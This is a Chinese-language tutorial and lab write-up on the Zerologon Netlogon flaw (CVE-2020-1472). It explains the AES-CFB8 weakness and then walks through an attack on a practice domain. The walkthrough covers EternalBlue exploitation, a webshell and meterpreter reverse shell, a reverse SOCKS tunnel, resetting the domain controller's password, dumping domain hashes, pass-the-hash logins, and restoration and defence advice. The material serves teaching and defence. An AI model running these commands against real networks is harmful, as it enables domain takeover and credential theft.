Netlogon域特权提升漏洞与靶场攻防实战
(Author:司晓凯)
[toc]
一、Netlogon协议
Netlogon协议是Windows域环境中的核心身份验证协议,主要用于维护域控制器(DC)与域成员之间的安全通信通道。
Netlogon服务是Windows操作系统中的一个关键服务,默认情况下,Netlogon 服务在域内所有机器后台运行,该服务的可执行文件路径为 C:\Windows\system32\lsass.exe
。
lsass.exe 是 Windows 系统中的一个关键进程,全称为 Local Security Authority Subsystem Service (本地安全认证子系统服务)。它负责管理系统的安全策略、用户登录验证、密码变更等任务。
1.1 协议功能
- 身份验证
Netlogon的核心功能是实现域内用户和计算机的身份认证。例如,用户通过NTLM协议登录时,Netlogon负责验证用户的凭据是否合法。
- 安全通道维护
在客户端(如域成员计算机)与域控制器之间建立加密的安全通道,用于传输敏感数据(如密码更新、策略同步等)。
- 服务注册与发现
域控制器通过Netlogon向DNS注册SRV资源记录(如_msdcs
、_tcp
等),帮助其他设备定位域服务(如AD服务、时间同步服务)。
- 计算机账户管理
当计算机加入域时,Netlogon负责验证其身份并生成计算机账户密码的哈希值,用于生成后续通信的共享密钥。
1.2 工作原理
Netlogon的典型认证流程基于挑战-响应机制,分为以下步骤:
- 1)客户端发起请求
客户端向域控制器发送一个随机生成的8字节挑战值(Client Challenge)。
- 2)服务器回应挑战
域控制器生成自己的随机挑战值(Server Challenge)并返回给客户端。
- 3)生成会话密钥
双方利用共享密钥(客户端计算机账户密码的哈希值)和两个挑战值,通过密钥派生函数(KDF)生成会话密钥(Session Key)。
- 4)凭证验证
客户端使用会话密钥加密自己的挑战值,生成Client Credential发送给服务器。
服务器用相同方式生成Client Credential进行比对,若一致则认证通过。
- 5)双向认证
服务器同样生成Server Credential发送给客户端,客户端验证后确认服务器身份。
工作流程如下图所示:
二、Netlogon特权提升漏洞(CVE-2020-1472)剖析
2.1 漏洞简介
漏洞成因:Netlogon默认使用AES-CFB8算法加密通信,但存在设计缺陷——初始化向量(IV)被错误地固定为全零,导致加密结果可预测。
攻击手法:攻击者通过发送全零的Client Challenge,利用AES-CFB8的缺陷碰撞出全零的Client Credential,从而绕过认证。
后果:可以绕过DC的身份验证,重置域控计算机账户密码为空,进而获取域管理员权限。通过该漏洞,未经身份验证的攻击者只需要能访问域控的135端口即可通过 NetLogon 远程协议连接域控并重置域控机器的Hash,从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash(域控的机器账户默认具有DCSync权限)。
2.2 漏洞影响
- 严重性:被评为最高风险级别(CVSS 10.0),可让攻击者在几秒内接管整个域。
- 影响范围:所有使用Netlogon协议的Windows服务器(尤其是域控制器),包括如下版本的windows系统:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
- 漏洞利用条件:已知域控ip、可以访问到域控且目标域控存在此漏洞。
2.3 漏洞深度剖析
该漏洞存在的原因是Netlogon协议中加密模块存在问题,导致攻击者能够在没有有效凭据的情况下通过身份认证。一旦攻击者成功绕过身份认证,他们就可以利用NetLogon协议的其他功能,比如重置域控的机器账户密码,进而可能获得对整个域的完全控制权。
2.3.1 netlogon协议流程回顾
1)要素分析
Client challenge:8字节,攻击者可控,且可以全部设置为00。
Server challenge:8字节,攻击者不可控,但是可以多次发起连接,重新生成server challenge。
secret:用户密码的hash 。
challenges: Client challenge+ Server challenge。
Session key:AES加密的密钥,由secret与challenges生成。
Client credential: 8字节,由session key与client challenge加密运算生成。
Server credential: 8字节,由session key与server challenge加密运算生成。
2)AES-CFB8加密模式分析
AES-CFB8对明文的每个字节进行加密:
1)首先由16个字节的初始化向量(IV)作为输入进行AES运算得到一个输出,取输出的第一个字节,与明文的第一个字节进行异或,得到第一个字节的密文。
2)由后15个字节的IV加1个字节的密文作为输入进行AES运算得到一个输出,取输出的第一个字节与明文的第二个字节进行异或,得到第二个字节的密文。
3)以此类推,可得到8个字节的密文作为Client credential。
2.3.2 攻击实施方法
上面的AES-CFB8加密模式中,黄色部分为16字节的初始向量IV, 理论上为了保证AES算法的可靠性该部分内容应该随机生成,而微软却错误的将其全部设置为00;蓝色部分为明文,对应client challenge,该部分内容攻击者可控,设置为全00。
1)IV为0,且client challenge也为0时加密算法分析
当IV为0,且client challenge也为0时,整个AES运算过程如下图所示:
由上图可知:
1)如果第一步的AES运算输出的第一个字节为00,那么得到的第一个字节密文也为00。
2)在对明文的第二个字节进行加密的过程中,IV值为全0,密钥不变,那么AES输出的第一个字节还是00,那么得到的第二个字节密文也为00。
3)最终就可以得到8个字节全为00的密文作为Client credential。
2)关键点:如何让AES在第一轮加密的时候输出的第一个字节为00?
第一轮加密过程可以表示为:ASE(SessionKey,IV) XOR(client challenge的第一个字节)
通过上述分析,只要让ASE(SessionKey,IV)输出的第一个字节为0即可,SessionKey是由如下的计算方法得到的:
SessionKey=KDF(client challenge,server challenge,secret)
攻击者可以控制的有client challenge=00和secret,server challenge是服务端生成的,攻击者可以通过不断发起认证请求来改变这个值,进而改变SessionKey,进而尝试碰撞ASE(SessionKey,IV)使其第一个字节为00。
攻击者可以不断发起新的连接,server端就会生成新的server challenge,直到AES输出的第一个字节为00,那么根据上述分析,攻击者就可以使用8个字节全为00的Client credential完成域身份认证。此时攻击者提交的client challenge
和域控计算的client challenge‘
如下:
client challenge = AES(SessionKey,client challenge)=全0 【攻击者】
client challenge‘= AES(SessionKey,client challenge)=全0 【DC】
两者相同,所以能够通过域身份认证。
3)成功率有多大?
因为第一个字节全为0,也就是8个bit为0,理论上平均2^8=256次碰撞可以得到AES输出的第一个字节为00。
2.3.3 将域控密码置空
认证通过后,攻击者可以利用NetrServerPasswordSet2调用来更新密码。
在该远程调用的过程中会发送新密码的密文,长度为516比特,后四bit表示密码长度,该密文由session key加密,同理加密结果为全0,即:
AES(SessionKey,000000000.....00000000)= 全0
真实的密码的明文也是0并且长度为0,这样就置空了server密码。
攻击者使用impacket的secretsdump,可以dump域内用户hash,包括域控管理员以及krbtgt。
2.4 攻击流程总结
三、网络靶场渗透实战
3.1 靶场环境
- 域:whoamianony.org
- 域控:win2012(192.168.93.30),主机名:DC
- 域内主机:win7(192.168.52.30-NAT模拟互联网,192.168.93.20),主机名:PC1
- 攻击机:kali(192.168.52.6)
3.2 工具
- 漏洞检测:https://github.com/SecuraBV/CVE-2020-1472
- 漏洞利用:https://github.com/dirkjanm/CVE-2020-1472
- 哈希导出:https://github.com/fortra/impacket/blob/master/examples/secretsdump.py
- 远程登录:https://github.com/fortra/impacket/blob/master/examples/wmiexec.py
3.3 DMZ域成员机渗透及漏洞检测
3.3.1 尝试直接在DMZ主机上安装工具(失败)
在能访问到域控的机器上执行:
zerologon_tester.py 域控主机名 域控ip
执行条件
zerologon_tester.py执行需要python>=3.7
pip install -r requirements.txt #安装依赖性
下载python安装包:
![]()
这里我选择上图所示的安装器:
注意:有些高版本的python3在win7上是没办法安装的,而且如果在域环境中安装是要输入域管理员凭据的,在实际使用中可以在kali(攻击机)搭建隧道做代理,为了方便演示这里就不做了。
![]()
这里我python安装的路径如上。
执行
pip install -r requirements.txt #安装依赖性
如果安装不成功就多装几次,或者换成
pip3
![]()
1.1.1改成1.1.0尝试:
还是安装不成功。
win7系统安装这个工具过于困难了。
应该跟源有关系:用-i参数指定一下
-i https://pypi.tuna.tsinghua.edu.cn/simple
3.3.2 kali渗透DMZ主机拿下system权限
(一)MS17-010
└─# nmap 192.168.52.30 -sV -p- -O
Starting Nmap 7.91 ( https://nmap.org ) at 2025-02-24 07:05 EST
Nmap scan report for 192.168.52.30
Host is up (0.00093s latency).
Not shown: 65520 closed ports
PORT STATE SERVICE VERSION
110/tcp open pop3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WHOAMIANONY)
999/tcp open xmpp-transport Spectrum XMPP file transfer
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1057/tcp open msrpc Microsoft Windows RPC
1059/tcp open msrpc Microsoft Windows RPC
1061/tcp open msrpc Microsoft Windows RPC
1188/tcp open hp-webadmin?
3336/tcp open mysql MySQL (unauthorized)
8080/tcp open http nginx
8750/tcp open http nginx
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port110-TCP:V=7.91%I=7%D=2/24%Time=67BC60AC%P=x86_64-pc-linux-gnu%r(NUL
SF:L,29,"\+OK\x20TDpop3Server\x201\.0\x20POP3\x20Server\x20ready\.\r\n")%r
SF:(GenericLines,40,"\+OK\x20TDpop3Server\x201\.0\x20POP3\x20Server\x20rea
SF:dy\.\r\n-ERR\x20An\x20error\x20occured\r\n")%r(HTTPOptions,40,"\+OK\x20
SF:TDpop3Server\x201\.0\x20POP3\x20Server\x20ready\.\r\n-ERR\x20An\x20erro
SF:r\x20occured\r\n");
MAC Address: 00:0C:29:50:D6:7D (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: PC1; OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.22 seconds
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.30
run
探测到存在ms17-010漏洞。
use exploit/windows/smb/ms17_010_eternalblue
set LHOST 192.168.52.6
set LPORT 9999
set RHOSTS 192.168.52.30
run
成功拿到system权限。
获取到system权限之后可以用arp -a
查看域内的其他机器,只有一个的话,极有可能是域控。
也可以运行post/windows/gather/enum_domain
模块收集域信息。
(二)通达OA任意文件上传getshell
通达OA渗透获取主机权限
go run main.go scan -u http://192.168.52.30:8080/
![]()
- 漏洞利用
go run main.go exp -u http://192.168.52.30:8080/ -i Td03
![]()
- getshell
使用Godzilla连接webshell,具体使用方法见《Godzilla》一文。
![]()
![]()
成功getshell!
成功获得nt authority\system 权限!
- 通过哥斯拉上线meterpreter
选择PMeterpreter模块,设置为攻击机的ip和监听端口。
![]()
(设置为192.168.52.1-NAT网关也可以。)
攻击机设置msf
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 0.0.0.0 lhost => 0.0.0.0 msf5 exploit(multi/handler) > set lport 12345 lport => 12345 msf5 exploit(multi/handler) > run
![]()
![]()
3.3.3 ew搭建隧道
- 修改配置文件
vim /etc/proxychains4.conf
开启dynamic_chain
将本地流量代理到1090端口。
- 运行客户端
./ew_for_linux64 -s rcsocks -l 1090 -e 1234
- 在win7主机上运行服务端
upload ~/Desktop/ew-master/ew_for_Win.exe
可以看到已经上传成功了。
ew_for_Win.exe -s rssocks -d 192.168.52.6 -e 1234
执行之后隧道建立。
- 测试隧道是否搭建成功
流量成功被代理。
直接ping是无法ping通的。
通过添加路由的方式将msf的流量路由到DC
route print route add 192.168.93.0 255.255.255.0 1 route print
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.93.1-50 set threads 5 run
路由添加之后可以通过msf的工具直接扫描DC。
![]()
3.3.4 netlogon提权漏洞检测
漏洞测试:https://github.com/SecuraBV/CVE-2020-1472
安装:
git clone https://github.com/SecuraBV/CVE-2020-1472
cd CVE-2020-1472
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
漏洞检测:
python3 zerologon_tester.py DC 192.168.52.30
报错处理:
![]()
如果报上面的错误,是因为zerologon_tester.py没有执行权限。
![]()
给个执行权限,然后执行。
![]()
但还是报错。
需要利用https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py文件替换本机上的nrpc文件。 本机nrpc文件存储路径为:C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py
![]()
/usr/local/lib/python3.10/dist-packages/impacket/dcerpc/v5/nrpc.py #我的路径
git clone https://github.com/fortra/impacket #获取impacket文件,下载慢的话直接本地下载然后copy到kali上
![]()
![]()
重新执行还是报错。
![]()
替换rpcrt.py
![]()
依然不行。
网上说这个错误说明目标不是域控,怀疑是隧道断了,重新搭建用1235端口搭建了一下隧道,可以通信了。
仔细看之前的命令,发现其实是之前的DC ip写错了,那么当然目标主机不是域控了。
![]()
![]()
最终检测到DC存在CVE-2020-1472。
返回 Success,说明漏洞很可能存在!
3.4 置空域控机器账户hash
#cve-2020-1472-exploit.py 域控主机名$ 域控ip
cve-2020-1472-exploit.py DC$ 192.168.93.30
proxychains4 python3 cve-2020-1472-exploit.py DC$ 192.168.93.30
成功将机器账户的hash置空。
3.5 导出域用户hash
攻击成功后,此时目标域控的机器账户DC$的密码已经被置空了。由于域控机器账户默认在域内具有DCSync权限。因此,可以使用目标域控的机器账户DC$远程连接域控,指定Hash为空,使用 secretsdump.py 脚本导出域内任意用户的Hash。
执行现有的secretsdump工具时报错,创建一个虚拟环境重新安装impacket:
sudo apt install virtualenv
virtualenv impacket-venv
source impacket-venv/bin/activate
git clone https://github.com/fortra/i
pip3 install -r requirements.txt
#ERROR: Could not find a version that satisfies the requirement pycryptodomex (from versions: none)
#遇到上面的错误,-i指定一下源,-i https://pypi.tuna.tsinghua.edu.cn/simple
pip3 install .
cd ~/impacket-venv/bin #切换到虚拟环境的bin目录下即可看到相关工具
proxychains4 ./secretsdump.py whoamianony/DC$@192.168.93.30 #还是报错
观察错误内容,其实可以发现DC192.168.93.30:445
少了一个$
符号,需要在命令行转译。
proxychains4 ./secretsdump.py whoamianony/DC\$@192.168.93.30
由于我们现在已经将域控机器账户的hash置空了,提示输入Password时直接回车即可。
[proxychains] Dynamic chain ... 127.0.0.1:1090 ... 192.168.93.30:445 ... OK
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Dynamic chain ... 127.0.0.1:1090 ... 192.168.93.30:135 ... OK
[proxychains] Dynamic chain ... 127.0.0.1:1090 ... 192.168.93.30:49155 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6be58bfcc0a164af2408d1d3bd313c2a:::
whoami:1001:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec:::
whoamianony.org\bunny:1112:aad3b435b51404eeaad3b435b51404ee:cc567d5556030b7356ee4915ff098c8f:::
whoamianony.org\moretz:1115:aad3b435b51404eeaad3b435b51404ee:ba6723567ac2ca8993b098224ac27d90:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
PC2$:1113:aad3b435b51404eeaad3b435b51404ee:01f1ae9c40653b238dd6cc68a6086882:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:77dd8d0b0d436b6df02303f0a5a98d95acda6f84144ea53525bfee5ffda45afb
krbtgt:aes128-cts-hmac-sha1-96:aaeee8cffc1ade3061ce78b89237a7b8
krbtgt:des-cbc-md5:9b3446f829dfbf3e
whoamianony.org\bunny:aes256-cts-hmac-sha1-96:62694713f45b34ebcd0dd2ad5a66ebb20a7245e839b5a2a149d2ab367a703120
whoamianony.org\bunny:aes128-cts-hmac-sha1-96:63064306d5306e43c7c56c7d7ac44d57
whoamianony.org\bunny:des-cbc-md5:8fd6bc2980d5523b
whoamianony.org\moretz:aes256-cts-hmac-sha1-96:854ae083f158747bf98a27b4f32bccfe369c8e3d04c5eb12b14c0e25117dc2cf
whoamianony.org\moretz:aes128-cts-hmac-sha1-96:6630108d408ba8ee70eda87474753a21
whoamianony.org\moretz:des-cbc-md5:4ca849cbda4089c7
DC$:aes256-cts-hmac-sha1-96:158b91d51f464d4925203f858df685b6902071fa99d8548db9d949a396953a68
DC$:aes128-cts-hmac-sha1-96:23cdac24d614d6dabbd7a3c66e4e2477
DC$:des-cbc-md5:92da0d348a19a73b
PC2$:aes256-cts-hmac-sha1-96:3c314c849ce627d78fbe404c0bcb44086af4732ae44cf9bb7fc5474153be45b3
PC2$:aes128-cts-hmac-sha1-96:bcbf263864b73db64c2bbcc540953820
PC2$:des-cbc-md5:929bb3ab3df8ef4c
[*] Cleaning up...
成功导出域用户的哈希值。其中域控用户的哈希值为:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec:::
解析:
用户名 Administrator 表示系统内置的本地管理员账户名称。
用户RID 500 相对标识符(Relative Identifier),Windows系统内置管理员账户的固定RID为500。
LM哈希 aad3b435b51404eeaad3b435b51404ee 表示LM(LAN Manager)密码哈希。此处的特殊值 aad3b… 是一个空哈希,说明以下两种情况之一: 系统已禁用LM哈希(现代Windows系统的默认行为) 用户密码长度超过14字符或包含特殊字符,导致LM哈希无法生成
NTLM哈希 ab89b1295e69d353dd7614c7a3a80cec 表示NTLM(NT LAN Manager)密码哈希。这是用户密码通过MD4算法生成的加密哈希值,用于身份验证。
空字段 末尾的 ::: 表示省略的字段,可能包括: 用户全名 用户描述/注释 用户权限组 账户状态标志(如密码过期、账户禁用等)
3.6 使用wmiexec.py远程登录域控
获取了域控的hash,可以进行远程登陆:
proxychains4 ./wmiexec.py administrator@192.168.93.30 -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec -codec gbk
成功登录到域控。得到一个半交互式shell。
执行help命令可以查看更多用法。
lput
可以上传木马到指定路径。但是这个半交互式shell执行的命令有限。
3.7 psexec获取交互式shell并获取域控system权限
可以用psexec获取交互式shell:
proxychains4 ./psexec.py administrator@192.168.93.30 -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec -codec gbk
成功获取域控的system权限。
3.8 kali直接打DC
在知道域控IP和其机器账户名比如DC$之后可以直接执行POC和EXP。
这些信息可以通过fscan扫描获取:
fscan -h 域控IP
3.9 域控机器账户DC$的密码恢复
在攻击完成后,域控机器的Hash置空了。此时域控机器账户在活动目录中的密码和域控本地注册表中以及lsass进程中的密码不一致,导致域控重启后无法开机、脱域等情况。因此,得想办法让域控在活动目录中的密码和在域控本地注册表及lsass进程的密码一致。
这里有两种方案:一种是获得域控机器账户的原始Hash,然后将其恢复到原始的Hash;另一种方案是重置域控在活动目录、本地注册表和lsass进程中的Hash,使得三者一致(此时域控机器账户的Hash和原始的Hash不一致)。
这里使用第一种方案。
1)导出注册表文件
通过reg save命令来导出注册表中的三个重要分支,这些文件对于系统恢复、故障排除或迁移等场景非常有用,因为它们包含了Windows系统安全和配置的重要信息。
HKLM\SYSTEM:这个分支包含了大量的系统配置信息,如硬件驱动程序、系统服务、系统启动选项等。
HKLM\SAM:这个分支存储了账户的密码哈希。
HKLM\SECURITY:这个分支包含了Windows的安全策略和访问控制信息,包括安全标识符(SID)、访问控制列表(ACLs)等。
proxychains4 ./psexec.py administrator@192.168.93.30 -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec -codec gbk
reg save HKLM\SYSTEM system.save && reg save HKLM\SAM sam.save && reg save HKLM\SECURITY security.save
然后下载文件注册表文件:
lget C:\Windows\system32\system.save
lget C:\Windows\system32\sam.save
lget C:\Windows\system32\security.save
#下载完后记得删除文件
del /f system.save sam.save security.save
但是用wmiexec.py可能无法下载和上传文件。
2)使用secretsdump.py提取出文件中的Hash
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
3)使用reinstall_original_pw.py脚本恢复hash
使用上面的方法获得了域控机器账户的原始Hash后,再使用 reinstall_original_pw.py 脚本恢复域控机器账户的原始Hash
#reinstall_original_pw.py 域控机器名$ 域控ip $MACHINE.ACC后半部分的值
reinstall_original_pw.py DC$ 192.168.10.2 a5236ee2bd22b0e05231ed1239e32586
4)验证密码是否恢复成功
使用secretsdum.py尝试再次导出域内所有用户的凭证,可见使用空密码去获取域内的所有用户的凭证已经不行了,说明域控机器账户DC$的密码已经被恢复成功。
四、特别注意
- 操作风险:
漏洞利用会破坏域控制器间的信任关系,需在测试环境验证,并确保及时还原密码。 - 恢复必要性:
若未还原密码,域控制器可能无法同步策略、验证用户登录,导致域环境瘫痪。
五、防御方法
- 安装微软官方补丁并启用强制模式
微软于2020年8月发布的补丁分两阶段修复漏洞:第一阶段禁用漏洞利用路径,第二阶段强制所有域设备使用安全通道协议。需在所有域控制器(DC)上安装补丁,并通过注册表或组策略启用 FullSecureChannelProtection 模式,禁用不安全的AES-CFB8加密协商。补丁通过强化Netlogon协议的加密流程,阻止攻击者利用全零IV和Client Challenge绕过认证。未修补的域控可能被攻击者重置密码为空,导致域控权限被完全控制。
- 关闭冗余端口并限制动态端口访问
禁用NetBIOS端口(UDP 138/139),强制使用TCP 445端口进行SMB通信。限制RPC动态端口范围(49152-65535),仅允许域内受信设备访问。攻击者通常通过域控的135端口(RPC)或445端口(SMB)发起攻击,关闭冗余端口可减少攻击面。此外,通过防火墙规则限制域控仅接受域内设备的Netlogon连接。
- 网络流量监控与异常请求拦截
利用漏洞需发送上千次全零Client Challenge请求,可通过网络入侵检测系统(NIDS)监控高频Netlogon流量。重点过滤针对 NetrServerPasswordSet2 函数的RPC调用,该函数用于重置域控机器账户密码 。同时,检测域控日志中的异常认证事件(如空密码登录) 。
- 强化域控账户权限与加密协议
限制计算机账户的密码重置权限,防止攻击者滥用 NetrServerPasswordSet2 函数 。禁用AES-CFB8弱加密模式,改用AES-GCM等安全算法,并通过组策略强制启用Netlogon会话签名(Sealing & Signing) 。
Q&A
- 为什么不需要拿下域内的机器也可以对域控发起攻击?
因为这个攻击根本就不需要知道某个域用户的哈希值。攻击者只需要不断的发起请求,不断的提供全零的挑战值和全零的凭据,服务端会不断的计算凭证,直到碰撞到DC计算的凭证也为全零,则绕过身份验证。但是攻击者因为没有合法的secret,也就始终无法计算正确的会话密钥,但是攻击者可以通过设置flag值要求后续通信不加密。
- 既然netlogon漏洞会导致攻击者可以调用NetrServerPasswordSet2将域控机器账户(如DC$)的密码置空,普通的域内用户也可以执行这个操作吗?
普通用户是没有权限调用这个接口的,netlogon之所以称之为权限提升漏洞,其实是通过全零挑战绕过认证之后,攻击者具备了域管理员权限。所以可以调用这个接口实现密码重置。